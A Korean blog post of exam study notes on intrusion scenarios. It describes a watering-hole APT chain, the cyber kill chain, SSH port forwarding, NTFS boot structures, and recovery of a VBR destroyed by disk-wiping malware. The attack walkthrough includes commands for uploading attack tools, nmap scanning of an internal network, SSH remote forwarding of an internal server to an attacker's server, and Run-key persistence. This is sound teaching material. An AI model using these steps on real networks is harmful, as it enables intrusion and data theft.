본문 바로가기
(실기) 정보보안기사&산업기사

침해사고 유형별 시나리오 11, 12

by 뭔가해보겠습니다 2024. 4. 12.

워터링홀Watering Hole 침해사고 시나리오
개요
1) 정보수집
2) 특정 타겟 대상으로 경유지에 악성 스크립트 삽입 (유포지로 리다이렉트 유도)
3) 희생자에게 익스플로잇 & 악성코드 설치
4) 백도어 및 추가 공격도구 다운로드
5) 내부 시스템/네트워크 정보 수집 (ex 관리자 계정정보 탈취)
6) 내부 그룹웨어 웹서버를 발견하여 SSH포트포워딩(=터널링)을 통해 접근
7) 악성코드 지속성 유지 (ex 시작 프로그램에 악성코드 등록)
8) 정보유출 및 시스템 파괴 (SSH 터널링 활용)

(APT 키워드 - 타겟Target, 최종미션(목적))
(일련의 공격 흐름 중 하나만 끊어낼 수 있다면 공격을 실패시킬 수 있다 (Kill chain 기법))

 

 

관련지식 APT(Advanced Persistent Threat) 이해하기
개요
지능형 지속 위협은 특정 표적을 대상으로 취약점을 파악하고 다양한 공격 기법을 이용한 지속적인 공격활동으로 손상을 입히는 공격 프로세스/절차를 의미
- 지능적 : 사회공학기법, 제로데이 취약점 등 다양한 공격기법을 조합하여 공격을 수행
- 지속적 : 장기간 지속적인 공격 활동을 은밀하게 진행
- 정치적, 사회적, 경제적, 기술적, 군사적으로 중요한 특정 대상을 정하여 공격하고 복합적이고 지능적인 공격수법을 시도

 

 

APT 공격 단계
1) 초기 정찰 (공격 목표에 대한 정보 수집)
2) 초기 침입 (정보를 바탕으로 내부 네트워크에 악성코드를 유입시키고 침입)
- ex 스피어 피싱, 워터링 홀, USB 메모리 스틱 등
3) 거점 마련 (교두보 확보)
- 공격자와의 연결 생성 및 추가 공격을 위한 공격도구 다운로드 등
- 리버스 쉘 형태의 백도어 연결, HTTPS 통신 수행
4) 권한상승 (관리자 권한 확보)
5) 내부 정찰 (내부 시스템/네트워크 정보 수집)
6) 내부 침투 (내부 네트워크의 다른 시스템 추가 공격 등)
7) 지속성 유지 (백도어를 통해 타겟 시스템에 대한 연결을 유지)
8) 목표 달성 (정보 유출, 시스템 파괴 등 최종 공격 목적 달성)

 

 

주요 침투 기법
1) 스피어 피싱Spear Phising 
- 특정 타겟을 목적으로, 신뢰할만한 발신인이 보낸 것처럼 위장한 이메일을 발송. 피싱사이트로 유도 또는 악성 첨부 파일로 악성코드에 감염시킴

2) 워터링 홀 Watering Hole
- 표적 공격. 사회공학기법을 통해 타겟이 주로 방문하는 웹사이트(경유지)에 제로데이 취약점 등을 이용해 악성코드를 심어두고 방문시 악성코드에 감염시키는 방식

3) USB 메모리 스틱 이용
특정 타겟/조직의 이동 동선에 악성코드가 삽입된 USB를 방치한 후, 누군가 USB를 내부 PC에 연결하면 감염시키는 방식

 

 

관련지식 사이버 킬 체인 (Cyber Kill Chain) 이해하기
개요
- 타겟에 대한 공격을 위해 일련의 단계를 거치는데, 이중 어느 한 단계라도 탐지/차단/대응해 목표 달성 이전에 선제적으로 무력화시키는 방어시스템
- 공격절차 : 정찰, 무기화, 유포, 악용, 설치, 명령 및 제어, 목적달성
- 대응 : 탐지, 거부, 교란, 약화, 기만, 파괴

관련지식 SSH 포트 포워딩(Port Forwarding) 이해하기
개요
SSH 클라이언트가 SSH 서버에 접속하여 만든 연결을 다른 어플리케이션에서 이용하여 통신할 수 있는 기술 (=터널링)
- 어플리케이션이 접속할 리스닝 포트는 로컬/리모트 포트 포워딩으로 구분할 수 있다

1) 로컬 포트 포워딩
- 어플리케이션 클라이언트가 접속할 리스닝 포트(tcp)를 SSH 클라이언트 호스트에 생성하여 포워딩하는 방식
(#ssh -L 4321:192.168.10.20:80 192.168.10.20)
 #ssh -L 4321:호스트A:80 호스트A
 어플리케이션 클라이언트 호스트B가 자신의 로컬 리스닝포트를 열어서 호스트A의 22/tcp로 보냄
 #ssh -L "임의의 로컬 리스닝 포트":"포워딩할 호스트 주소:포트" "SSL 서버 주소")
- 방화벽 정책을 통해 22/tcp만 허용한 경우, SSH 로컬 포트 포워딩을 통해 내부용 웹서버 접속이 가능하다

(실습과정

호스트B(10.10.10.10)에서 ssh- L ~ 명령어를 쓰는 순간, 자신의 로컬 리스닝 포트(4321)를 열어서 호스트A(192.168.10.20)의 22/tcp와 연결되고 제어권한을 얻는 것을 확인함.)

 


2) 리모트 포트 포워딩
- 어플리케이션 클라이언트가 접속할 리스닝 포트(tcp)를 SSH 서버 호스트에 생성하여 포워딩하는 방식

(#ssh -R 4321:192.168.10.20:80 10.10.10.10)
 #ssh -R 4321:호스트A:80 호스트B
 어플리케이션 클라이언트 호스트A(타겟서버)가 호스트B(서버역할, 공격자)의 원격 리스닝 포트(4321)로 보냄
 #ssh -R " 임의의 원격 리스닝 포트":"포워딩할 호스트 주소:포트" "SSL 서버 주소")

- 방화벽 정책이 인바운드 ANY DROP, 아웃바운드 ANY ACCEPT일 때. 내부에 침입한 공격자는 SSH Client를 이용하여,  공격자쪽 서버의 원격 리스닝 포트(서버)에 타겟 서버(클라이언트)를 연결하여 접속한다.

(실습과정

호스트A(192.168.10.20)에서 ssh- R ~ 명령어를 쓰는 순간, 호스트B의 원격 리스닝 포트(4321)를 열어서 연결되고 제어권한을 얻는 것을 확인함.)

 

(lsof -i:22
=> 현재 열려있는 파일을 확인할 수 있는 명령어. -i 옵션으로 22번 포트에 대한 리스트 출력. netstat 대신 사용 가능)

 

 

침해사고 11 end --

 

 

 

관련지식 NTFS 파일시스템 이해하기
가) 개요
1) 파티션 : 논리적 영역을 나눈 영역
2) 파일시스템 : 파일을 관리하기 위한 자료구조
3) 포맷 : 파티션에 파일시스템을 구성하는 작업

나) 마스터 부트 레코드MBR (Master Boot Record)
1) 파티션 생성시 물리적 디스크의 첫 번째 섹터(부트 영역)에 위치하는 512Byte 영역. 부트 코드, 파티션 테이블, 시그너처로 구성됨. bios에 의해 POST 과정을 마친후, MBR 부트 코드를 호출하고, 부트 코드는 부팅 가능한 파티션을 찾아 VBR의 부트 코드를 호출하여 운영체제가 기동한다.

2) 부트 코드 : 446Byte
부팅가능한 파티션을 찾아 해당 파티션의 VBR의 부트코드를 호출

3) 파티션 테이블 : 64Byte
파티션 정보를 담고 있는 테이블로 16Byte의 엔트리 4개로 구성. 각 엔트리는 부팅 가능 정보, 파티션 타입, 파티션의 시작 섹터 위치, 크기 등으로 구성됨.
- 파티션이 4개 초과할 경우 EBR로 관리

4) 시그너처 : 2Byte
- 정상적인 MBR 영역임을 표시. 0x55AA

 

(운영체제 입장의 최소단위는 클러스터, 그 안에 섹터들이 있음. 물리적 디스크의 최소 저장단위가 섹터512Byte)

 

요약 : 운영체제 부팅시, BIOS에 의해 POST과정을 마친 뒤 MBR 영역의 부트코드가 호출된다. 부트 코드는 부팅 가능한 파티션을 찾아, 해당 파티션의 VBR의 부트코드를 호출한다.

 

다) NTFS 파일시스템 구조
1) 볼륨 부트 레코드VBR (Volume Boot Record)
- NTFS의 가장 앞부분에 위치하는 영역으로 윈도우 부팅을 위한 기계어 코드 등 설정정보를 담고 있고 마지막 섹터에 VBR 백업본을 갖고 있다

2) 마스터 파일 테이블MFT (Master File Table)
볼륨/파일시스템에 존재하는 모든 파일과 디렉터리에 대한 정보를 담고 있는 테이블
- NTFS에서 가장 중요한 영역이며 VBR 뒤에 위치함
- MFT 엔트리의 집합. 각 엔트리는 하나의 파일 또는 디렉터리에 대한 정보를 담고 있는 자료구조
- 악성코드 분석시 자주 활용되는 MFT 엔트리 속성은 MAC Time (M Modification A Access C Creation)
(i-nocd 구조체의 C Time은 속성정보변경일자이고 MFT의 C Time은 생성한 시간)

 

 

[MBR][][VBR][MFT][DATA 영역][VBR 백업본]  [VBR][MFT][DATA 영역][VBR 백업본]
           └──────────────────────┘└──────────────────────┘
                                NFTS Layout                                     NFTS Layout

 

라) 디스크 파괴형 악성코드의 특징 (=부트킷)
1) 마스터 부트 레코드(MBR) 또는 볼륨 부트 레코드(VBR) 영역을 훼손하여 컴퓨터가 정상적으로 부팅되지 않도록 하는 악성코드. 특정 문자나 랜덤한 쓰레기값으로 덮어씌워 복구가 불가능하도록 만듬
2) MBR 영역이 손상된 경우엔 부트 코드를 정상적인 디스크에서 복사하고 각각의 파티션 정보를 수집하여 파티션 테이블을 완성하여 복구
3) VBR 영역이 손상된 경우엔 파티션 가장 마지막 섹터의 VBR 백업본을 덮어씌워 복구

 

 

공격 시나리오
가) 공격자는 특정사이트 임직원 정보를 탈취하고 시스템을 파괴할 목적으로, 관리자가 자주 방문하는 사이트를 해킹해 악성코드 유포지로 리다이렉트하는 악성 스크립트를 삽입 (ex iframe 태그, img src 태그 활용)
- 초기정찰 단계. 워터링홀 공격의 전형적인 특징.


나) 관리자는 경유지 사이트에 접속하여 악성코드 유포지로 리다이렉트되어 DBD (Drive By Download) 악성코드에 감염됨
- APT 초기침입 단계

다) 공격자는 리버스 쉘 백도어로 연결하고 내부 네트워크 스캔을 위해 포트 스캐너, SSH 포트 포워딩을 위한 SSH 클라이언트, 키로거 등의 추가 공격도구를 다운로드
- ex) upload /var/www/html/attack.exe c:\\windows\temp           원격으로 관리자의 windows\temp에 공격도구 업로드

- APT 거점마련 단계

 

라) 공격도구를 이용해 내부 시스템/네트워크 정보를 스캔하여 동작중인 서비스 확인
- shell 명령으로 (윈도우 기준) cmd.exe 권한을 얻음
- namp 사용
ex namp -sS -O -p 1-1023 -oN c:\windows\temp\data.txt 192.168.1.0/24
(타겟서버인 192.168.1.0/24대역에 대해 TCP Syn 스캔(-sS), 운영체제 정보(-O), 포트지정(-p 1-1023) 스캔 결과파일을 일반파일(-oN)인 data.txt로 출력)

 

(nmap 주요 옵션 복습
-sS: TCP Syn 스캔,    -sT: TCP Open 스캔, -sF: TCP Fin 스캔
-sX: TCP Xmas 스캔, -sN: TCP Null 스캔,  -sP: ping 스캔
-p: 포트지정, -O: 운영체제 정보,
-oN: 일반파일 출력, -oX: XML형식 출력)

 

- 공격자는 ipconfig /displaydns 사용하여 로컬 DNS 캐시 정보를 검색해 내부 그룹웨어 홈페이지 정보를 획득, 키로거 툴을 이용해 관리자 정보 획득

- APT 단계 중 내부 정찰 단계

마) 공격자는 내부 그룹웨어 홈페이지에 접속하기 위해, SSH 클라이언트 프로그램을 이용, 원격 포트 포워딩을 이용함

- #ssh -R 1234:내부그룹웨어ip:80 공격자서버ip

- APT 단계 중 내부침투단계

 

바) 공격자는 지속적인 침투를 위해 백도어를 시작 프로그램에 등록하여 주기적으로 관리자 PC에 접속
- HELM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 레지스트리
- APT 단계 중 지속성 유지

사) 공격자는 SSH 터널링을 통해 임직원 정보를 탈취하고 직원 PC의 시스템 부트VBR 영역을 파괴하는 악성코드를 유포하여 시스템 장애를 유발
- APT 단계 중 목표달성

 

 

 

분석시나리오

가) 재부팅시 부팅이 되지 않고 오류가 발생한다는 신고를 접수받고 가이드함
1) PC를 종료하거나 재부팅하지 말고 중요데이터를 외부공간에 저장
2) 네트워크를 통한 추가감염 방지를 위해 원인 파악시까지 랜선을 분리

나) 분석PC를 통해, 파티션/드라이브 정보가 정상적으로 보이는 것으로 보아 MBR 영역은 변조되지 않은 것으로 판단. 단, 접근시 포맷되지 않는다는 메시지를 통해 VBR 영역이 변조된 것으로 의심

- WinHex 툴을 이용하여 MBR 영역과 VBR 영역 확인, VBR 백업본을 찾아 복원함.

(실습: 문제가 되는 파티션의 시작 섹터 위치를 확인하여(ex 64. 97380) Go to Sector로 위치를 찾아가면, 변조된(이상한 데이터로 덮어씌워진) VBR 영역을 볼 수 있다)


다) VBR 영역 복원 후 재부팅한 결과 정상적으로 수정한 파티션의 파일시스템이 인식되는 것을 확인

 

 

침해사고 12 END --